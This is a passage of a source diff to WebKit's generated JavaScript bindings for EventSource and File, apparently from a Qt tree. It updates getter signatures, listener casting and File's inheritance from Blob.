-    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slot.slotBase()));
+    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(castedThis->impl());
     if (EventListener* listener = imp->onopen()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsEventSourceOnmessage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventSourceOnmessage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slot.slotBase()));
+    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(castedThis->impl());
     if (EventListener* listener = imp->onmessage()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsEventSourceOnerror(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventSourceOnerror(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slot.slotBase()));
+    JSEventSource* castedThis = static_cast<JSEventSource*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(castedThis->impl());
     if (EventListener* listener = imp->onerror()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
@@ -205,30 +211,21 @@ void setJSEventSourceOnopen(ExecState* exec, JSObject* thisObject, JSValue value
 {
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(static_cast<JSEventSource*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnopen(globalObject->createJSAttributeEventListener(value));
+    imp->setOnopen(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSEventSourceOnmessage(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(static_cast<JSEventSource*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmessage(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmessage(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSEventSourceOnerror(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     EventSource* imp = static_cast<EventSource*>(static_cast<JSEventSource*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnerror(globalObject->createJSAttributeEventListener(value));
+    imp->setOnerror(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 JSValue JSC_HOST_CALL jsEventSourcePrototypeFunctionClose(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -279,17 +276,17 @@ JSValue JSC_HOST_CALL jsEventSourcePrototypeFunctionDispatchEvent(ExecState* exe
 
 // Constant getters
 
-JSValue jsEventSourceCONNECTING(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventSourceCONNECTING(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsEventSourceOPEN(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventSourceOPEN(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsEventSourceCLOSED(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsEventSourceCLOSED(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEventSource.h b/src/3rdparty/webkit/WebCore/generated/JSEventSource.h
index 4d5803b..9ad5cf8 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEventSource.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSEventSource.h
@@ -23,7 +23,6 @@
 
 #if ENABLE(EVENTSOURCE)
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -46,7 +45,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
@@ -76,7 +75,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSEventSourcePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -91,19 +90,19 @@ JSC::JSValue JSC_HOST_CALL jsEventSourcePrototypeFunctionRemoveEventListener(JSC
 JSC::JSValue JSC_HOST_CALL jsEventSourcePrototypeFunctionDispatchEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsEventSourceURL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventSourceReadyState(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventSourceOnopen(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventSourceURL(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventSourceReadyState(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventSourceOnopen(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSEventSourceOnopen(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsEventSourceOnmessage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventSourceOnmessage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSEventSourceOnmessage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsEventSourceOnerror(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventSourceOnerror(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSEventSourceOnerror(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
 // Constants
 
-JSC::JSValue jsEventSourceCONNECTING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventSourceOPEN(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEventSourceCLOSED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEventSourceCONNECTING(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventSourceOPEN(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEventSourceCLOSED(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSFile.cpp b/src/3rdparty/webkit/WebCore/generated/JSFile.cpp
index 59192af..d85bcdc 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSFile.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSFile.cpp
@@ -35,19 +35,21 @@ ASSERT_CLASS_FITS_IN_CELL(JSFile);
 
 /* Hash table */
 
-static const HashTableValue JSFileTableValues[4] =
+static const HashTableValue JSFileTableValues[6] =
 {
-    { "fileName", DontDelete|ReadOnly, (intptr_t)jsFileFileName, (intptr_t)0 },
-    { "fileSize", DontDelete|ReadOnly, (intptr_t)jsFileFileSize, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsFileConstructor, (intptr_t)0 },
+    { "name", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsFileName), (intptr_t)0 },
+    { "type", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsFileType), (intptr_t)0 },
+    { "fileName", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsFileFileName), (intptr_t)0 },
+    { "fileSize", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsFileFileSize), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsFileConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
 static JSC_CONST_HASHTABLE HashTable JSFileTable =
 #if ENABLE(PERFECT_HASH_SIZE)
-    { 7, JSFileTableValues, 0 };
+    { 127, JSFileTableValues, 0 };
 #else
-    { 8, 7, JSFileTableValues, 0 };
+    { 17, 15, JSFileTableValues, 0 };
 #endif
 
 /* Hash table for constructor */
@@ -78,7 +80,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -118,22 +120,16 @@ JSObject* JSFilePrototype::self(ExecState* exec, JSGlobalObject* globalObject)
     return getDOMPrototype<JSFile>(exec, globalObject);
 }
 
-const ClassInfo JSFile::s_info = { "File", 0, &JSFileTable, 0 };
+const ClassInfo JSFile::s_info = { "File", &JSBlob::s_info, &JSFileTable, 0 };
 
 JSFile::JSFile(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<File> impl)
-    : DOMObjectWithGlobalPointer(structure, globalObject)
-    , m_impl(impl)
+    : JSBlob(structure, globalObject, impl)
 {
 }
 
-JSFile::~JSFile()
-{
-    forgetDOMObject(this, impl());
-}
-
 JSObject* JSFile::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
 {
-    return new (exec) JSFilePrototype(JSFilePrototype::createStructure(globalObject->objectPrototype()));
+    return new (exec) JSFilePrototype(JSFilePrototype::createStructure(JSBlobPrototype::self(exec, globalObject)));
 }
 
 bool JSFile::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
@@ -146,25 +142,45 @@ bool JSFile::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propert
     return getStaticValueDescriptor<JSFile, Base>(exec, &JSFileTable, this, propertyName, descriptor);
 }
 
-JSValue jsFileFileName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsFileName(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSFile* castedThis = static_cast<JSFile*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    File* imp = static_cast<File*>(castedThis->impl());
+    JSValue result = jsString(exec, imp->name());
+    return result;
+}
+
+JSValue jsFileType(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSFile* castedThis = static_cast<JSFile*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    File* imp = static_cast<File*>(castedThis->impl());
+    JSValue result = jsString(exec, imp->type());
+    return result;
+}
+
+JSValue jsFileFileName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSFile* castedThis = static_cast<JSFile*>(asObject(slot.slotBase()));
+    JSFile* castedThis = static_cast<JSFile*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     File* imp = static_cast<File*>(castedThis->impl());
-    return jsString(exec, imp->fileName());
+    JSValue result = jsString(exec, imp->fileName());
+    return result;
 }
 
-JSValue jsFileFileSize(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsFileFileSize(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSFile* castedThis = static_cast<JSFile*>(asObject(slot.slotBase()));
+    JSFile* castedThis = static_cast<JSFile*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     File* imp = static_cast<File*>(castedThis->impl());
-    return jsNumber(exec, imp->fileSize());
+    JSValue result = jsNumber(exec, imp->fileSize());
+    return result;
 }
 
-JSValue jsFileConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsFileConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSFile* domObject = static_cast<JSFile*>(asObject(slot.slotBase()));
+    JSFile* domObject = static_cast<JSFile*>(asObject(slotBase));
     return JSFile::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSFile::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSFile.h b/src/3rdparty/webkit/WebCore/generated/JSFile.h